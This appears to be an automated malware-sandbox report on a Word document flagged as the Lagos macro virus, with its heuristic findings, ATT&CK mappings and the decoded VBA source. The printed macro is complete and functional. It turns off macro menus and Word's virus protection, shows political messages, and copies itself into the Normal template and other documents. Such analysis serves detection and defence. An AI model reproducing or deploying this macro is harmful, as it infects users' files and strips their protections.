MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The ClamAV detection and heuristic firings confirm the presence of a known trojan. The macro code appears to attempt to copy itself to the Normal template and potentially infect other documents, a common persistence and propagation technique.
Heuristics 3
-
ClamAV: Doc.Trojan.Lagos-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Lagos-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8344 bytes |
SHA-256: 05005bfc8339b1fcaaa0947cd4ea3e4f112175f122b00ebcc2cfa0fc1ecf5cda |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Lagos"
Attribute VB_Base = "1Normal.Lagos"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
' Proteccion
CommandBars("Tools").Controls("Macro").Enabled = False
Options.VirusProtection = False
' Danno
'If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "Lagos" Then
' Selection.TypeParagraph
' For a = 1 To 10
' Selection.TypeText ("No a Lagos, va a pudrir al país!!!")
' Selection.TypeParagraph
' Next a
'endif
Dim boton
boton = vbYesNo + vbCritical + vbDefaultButton2
respuesta = MsgBox("Ud. Vota por Lagos?", boton, "Decida:")
If respuesta = vbYes Then
MsgBox ("Ud no apoya al pais")
respuesta3 = vbYes
While respuesta3 = vbYes
respuesta2 = MsgBox("Esta seguro de votar por Lagos?", boton, "Pienselo Bien")
If respuesta2 = vbNo Then
MsgBox ("Acuerdece de pensarlo bien en la eleccion")
respuesta3 = vbNo
Else
MsgBox ("Dese cuenta de lo que esta haciendo!!")
End If
Wend
Else
MsgBox ("Ud quiere el desarrollo de Chile")
End If
' Copia
Set docum = ActiveDocument.VBProject.VBComponents.Item(1)
Set norma = NormalTemplate.VBProject.VBComponents.Item(1)
nldoc = docum.codemodule.countoflines
nlnorm = norma.codemodule.countoflines
bg = 2
If docum.Name <> "Lagos" Then
If nldoc > 0 Then
docum.codemodule.deletelines 1, nldoc
End If
Set ainfectar = docum
adocum = True
docum.Name = "Lagos"
End If
If norma.Name <> "Lagos" Then
If nlnorm > 0 Then
norma.codemodule.deletelines 1, nlnorm
End If
Set ainfectar = norma
anorma = True
norma.Name = "Lagos"
End If
If anorma <> True And adocum <> True Then GoTo aa
If anorma = True Then
ainfectar.codemodule.addfromstring ("Private Sub Document_Close()")
Do While docum.codemodule.lines(bg, 1) <> ""
ainfectar.codemodule.insertlines bg, docum.codemodule.lines(bg, 1)
bg = bg + 1
Loop
End If
If adocum = True Then
ainfectar.codemodule.addfromstring ("Private Sub Document_Open()")
Do While norma.codemodule.lines(bg, 1) <> ""
ainfectar.codemodule.insertlines bg, norma.codemodule.lines(bg, 1)
bg = bg + 1
Loop
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ActiveDocument.Saved = True
aa:
' Virus Lagos: Es lo menos que se merece.
' Basado en el virus Melisa
' Autor Joe Fasto
End Sub
' Processing file: /opt/analyzer/scan_staging/1a77f620a2124003b70a67ddf8d5b13a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Lagos - 4806 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' QuoteRem 0x0000 0x000B " Proteccion"
' Line #2:
' LitVarSpecial (False)
' LitStr 0x0005 "Macro"
' LitStr 0x0005 "Tools"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' Line #3:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #4:
' QuoteRem 0x0000 0x0006 " Danno"
' Line #5:
' QuoteRem 0x0000 0x0045 "If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "Lagos" Then"
' Line #6:
' QuoteRem 0x0000 0x001B " Selection.TypeParagraph"
' Line #7:
' QuoteRem 0x0000 0x0013 " For a = 1 To 10"
' Line #8:
' QuoteRem 0x0000 0x0041 " Selection.TypeText ("No a Lagos, va a pudrir al país!!!")"
' Line #9:
' QuoteRem 0x0000 0x001F " Selection.TypeParagraph"
' Line #10:
' QuoteRem 0x0000 0x000A " Next a"
' Line #11:
' QuoteRem 0x0000 0x0005 "endif"
' Line #12:
' Dim
' VarDefn boton
' Line #13:
' Ld vbYesNo
' Ld vbCritical
' Add
' Ld vbDefaultButton2
' Add
' St boton
' Line #14:
' LitStr 0x0013 "Ud. Vota por Lagos?"
' Ld boton
' LitStr 0x0007 "Decida:"
' ArgsLd MsgBox 0x0003
' St respuesta
' Line #15:
' Ld respuesta
' Ld vbYes
' Eq
' IfBlock
' Line #16:
' LitStr 0x0013 "Ud no apoya al pais"
' Paren
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.